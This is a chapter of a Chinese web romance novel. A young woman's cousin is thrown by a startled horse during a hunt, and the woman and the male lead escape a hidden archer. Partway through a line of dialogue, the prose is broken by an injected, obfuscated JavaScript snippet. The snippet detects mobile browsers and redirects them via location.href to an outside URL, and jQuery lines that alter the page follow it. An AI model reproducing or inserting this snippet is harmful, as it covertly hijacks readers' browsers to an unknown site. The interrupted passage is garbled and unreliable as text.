12. 惊马

作品:《郎君今天悔婚了吗

    赵知黛把自家车舆的车凳搬来,好搀赵知彤踩马镫上马。


    赵知彤起初畏手畏脚,不敢跨坐上去,眼神盯住赵知黛喃道:“引引,我有些怕……”


    “这匹马性子极温顺,”赵知黛宽慰她,看向一侧立着的闻玠,“是吧?”


    闻玠回过神后颔首。


    待赵知彤坐稳后,赵知黛将缰绳塞到闻玠手中,闻玠认命接过低声对赵知黛:“原来是叫我来做马夫。”


    “反正闲着也是闲着,郎君既然应了便不能反悔。”赵知黛轻推了把他手臂让他往前走。


    闻玠这才抿着唇扯过缰绳将人往营地后的空地拉。


    其余人都去了树林,营地本也没了人,只是帐子多不好伸展。先前游猎时也有过这样的事,当今三公主幼时随官家出游,因见其他娘子驭马骑射英姿勃发,闹着也要上,官家便在东郊营地给三公主划了个专练骑射的园地。


    后来三公主渐渐失了兴趣,又常居行宫,此地便搁置了,也偶有他人在这儿练习。


    行至空地。


    赵知彤微俯身子,手掌死死撑握鞍边,额头冒出细密的汗珠,嘴唇制不住地发抖。


    “我与它相熟,四娘子不必担忧,慢慢坐直便好。”闻玠转头道。


    赵知黛用希冀的目光看她,“试一试。”


    不远密林处似乎传来人群欢呼的声音,仔细甄别似乎还能听清最高声出自汪明月之口。赵知彤动摇的心似乎愈发坚定灼烫。


    她也想像他们一般。


    小时候兄长不是没带过妹妹们骑马,赵知黛学得又快又好,可一轮到她,他们便百般推辞不肯教她,只让她坐坐就是。


    分明大夫也说过好生看护着就无大碍,不过是嫌她废弱找的借口!


    思及此,赵知彤手掌握拳,大着胆子照闻玠的指示坐好,被他牵着缰绳走了几圈后,闻玠又说了些要领,她越发得心应手起来,觉得此马的确温和乖顺,于是找闻玠要缰绳过来。


    闻玠下意识看赵知黛的脸色。


    赵知黛问她:“真的可以么?”


    赵知彤急切点头,脸庞扬起笑意:“原先我说怎么学不会,还是这位小郎君教得好。”


    她凝向闻玠:“小郎君是猎场的人么?”


    闻玠又看赵知黛,神色无辜。


    赵知黛轻咳两声:“四姐姐,这是闻郎君。”


    闻玠么?


    赵知彤轻呼出声,眸中闪过错愕,责怪道:“你怎么不早同我说?”


    “叨扰闻郎君了。”


    说罢又对赵知黛道:“先前还闹呢,我倒不知如今你们已这般相熟了。”


    “也不熟,”赵知黛把缰绳拿过来递给她,“不过营地就闻郎君一人驻留,我又不会骑马,只好叫他来帮忙,是郎君人好罢了。”


    闻玠:“举手之劳。”


    赵知彤闻言会心笑道:“总有一日会是一家人。”


    赵知黛垂眉,轻易转了话头:“我在旁跟着你,你先缓着点走。”


    闻玠早已退到一侧,看两人一骑一跟得还算顺利,便安心低了头,从怀里拿出几张信纸仔细琢磨起来。


    是鸣隐军里传来的堆了好几日的密报,今晨才收到手。


    翻到最底下时,他眉头微不可察紧了一瞬。


    是箭矢轻轻划过长空的鸣叫声。


    他迅速将信纸放入怀中,直奔两人而去——


    可似乎晚了一瞬,鸣镝与马啸声几乎同时而起,原本温顺乖巧的白马此刻受了极大的惊吓,前蹄扬起,几欲彻底摔下背上的人。


    赵知黛动作比闻玠更快,她一跃抢过缰绳翻身而上,预备安抚惊马不再妄动,可赵知彤似乎是怕极,整个人都还未坐稳,便急慌慌想要跳下去。


    赵知黛抽空往后看她,急道:“别跳!别动!”


    可赵知彤已如惊弓之鸟,哪里听得进赵知黛的话,早是满脸泪痕不知所措,抽泣着纵身在起伏的马背上向下跃。


    原本已被赵知黛安抚了几分的白马不知是否受了这动静的刺激,吼叫得越发厉害,两腿一蹬,旋即往更深的密林中跑去。


    闻玠也顾不得倒地哀嚎的赵知彤,翻身跃上一旁常用来骑射的棕马,迈步跑向密林。


    赵知黛急得额间冒出冷汗。


    她是会骑马的,可她不熟悉这马的习性,何况它不止受了一次惊,也不知还能否像最初那般慢慢静下来。只得静观其变,她渐渐稳住心神,贴身攥紧缰绳,如此情形,万要保住性命才好。


    直至白马跑得愈来愈偏,赵知黛才真正有些慌神,密林中全是打猎之人,箭矢无眼,马儿又已状若疯癫,万一被人误伤,她便是有苦都不知如何言。


    可它行得这样快,她若是就这样摔下去,难保不会摔出个好歹来。


    对了,四姐姐——


    赵知黛紧咬下唇。


    忽地周身被一股清冽的香气包裹。


    若她此刻不是处于如此危急的情形,她定要感叹一番,闻玠身上用的香膏还怪好闻的,好想问问在哪里购入的。


    闻玠驾棕马追上赵知黛,好不容易找上时机手一伸,将她整个人从白马上携过来圈在怀中,只是姿势不雅——赵知黛半个身子悬在空中,上半个身子则挂在闻玠臂膀上。


    他还能听见少女猛烈的吸气声。


    原以为是被吓的,抽空向下瞥了眼,竟发现她是在嗅他袖子。


    闻玠笑得古怪:“赵娘子癖好真独特。”


    赵知黛脸倏地一红,“放我……”


    不对,此时放不得。


    闻玠却煞有介事点头,环在她腰间的手臂猛地松了一霎,赵知黛以为他真要放她下去,急急箍他更紧,支吾道:“我说错了,拉我上去……”


    闻玠一手握缰绳,单臂挂着赵知黛,闻言手向下几分,想搂在她腰间用劲将她捞上来。


    “冒犯了。”


    却不知赵知黛见了什么,忽地神色大变,用尽全力一跃,双手搂紧闻玠的脖颈,使了好大的劲把闻玠从马上一同拽下来。


    闻玠只觉莫名其妙,心上甚至有一丝不悦,可见赵知黛这样拉着他就要直直摔下地时,下意识转了个方向,把赵知黛往旁一拉,身子稳稳垫在她身下。


    正要开口问她要个解释,只见赵知黛手掌就这样按下来,戳在他的脸上,整个人压下,头侧在闻玠肩膀上方,紧抿双唇。


    “把本世子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147891|164755||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸压坏了你怎么赔?”闻玠在手心的压迫下艰难说出这句话,头微微侧到赵知黛这边,赵知黛今日还是别了那朵青色头花,头花已摇摇欲坠,两人离得极近,花心正好触到他的下唇,痒痒的,却不觉得刺。


    随即却看到少女惨白的一张脸。


    “赵知黛?”闻玠搂住她肩想将她扶起,又被赵知黛按回去。


    她拧眉摇头,用气声轻轻道:“方才不远的地方,我看见有人的箭对着我们。”


    她能分辨出不是打猎的箭,那把弓一直随着棕马的动作而移动。当时她顾不得那么多,只想着逃,未曾想自己力气这么大,真能把闻玠从马上拉下来。


    闻玠这才察觉到赵知黛的身子在微微颤抖,他不该这般愚钝的。


    他轻拍拍她的后背,把赵知黛从身上推下,随后预备坐起来,手臂却被身侧的人一扯。


    赵知黛的声线也多了几分惧意,如同他们初见那次。


    “不要……”


    “不用怕。”闻玠眸中淬了冷意。


    他淡然起身,从棕马鞍背边抽出从前预备好的弓箭。


    甚至未问赵知黛是哪个方位,拉弓对着密林某处射了出去。


    便是警告。


    赵知黛仍躺在草地中不愿起身,只放低了声音问他:“你不怕暴露了?”


    闻玠是怕暴露,可从前他们也并未如此明目张胆,何况今日并不是他一人在此;若为了除他而伤害其他无辜之人,他便不想再如此仁慈。


    他把弓箭随手扔下地。


    转身看向躺得直直的赵知黛。


    她发丝些微凌乱,口脂沾到唇边,两颊红得像刚熟的桃子,眼里更是水汪汪晶亮亮,不知是不是被吓的。


    闻玠伸手去拉她起来,她还是不愿意。


    “就这么怕死?”闻玠无奈问。


    赵知黛双手搅得紧紧的,忐忑回道:“我虽不招人喜爱,可也不至于落到被追杀的地步,想来定是今日有你的敌人想报复你些什么,你自然是不怕;可我从未做过伤天害理的事,当然怕这飞来横祸。”


    道理一堆。


    闻玠蹲在她身侧看她,“那赵娘子觉得何时才算安稳?”


    赵知黛想了会儿,认真道:“不跟你一起走。”


    那人想要杀他,箭头也定是对准了他。


    “好。”闻玠爽快起了身。


    走了两步,像想起什么似的回了头。


    赵知黛以为闻玠心生恶意,故意要拉她下水,嘴角刚撇下,只听闻玠轻声道。


    “多谢你救了我。”


    赵知黛知晓就算是箭射了过来闻玠也未必躲不过,她只是自己想逃,顺手拉了他一把罢了。


    “你也救过我。”


    赵知黛低声。


    待闻玠身影消失不见,赵知黛才敢慢慢坐起身子。


    摸了摸自己全身,发现并无什么伤口疼痛,才微微松了口气;又理了理凌乱的鬓发,手指顿住。


    头花不知掉到何处去了。


    她在四周找寻了片刻也未见踪影,心道或许是骑白马时不注意掉了,掉了便掉了,速速离开此地才是,也不知道四姐姐是否受了什么伤,严不严重。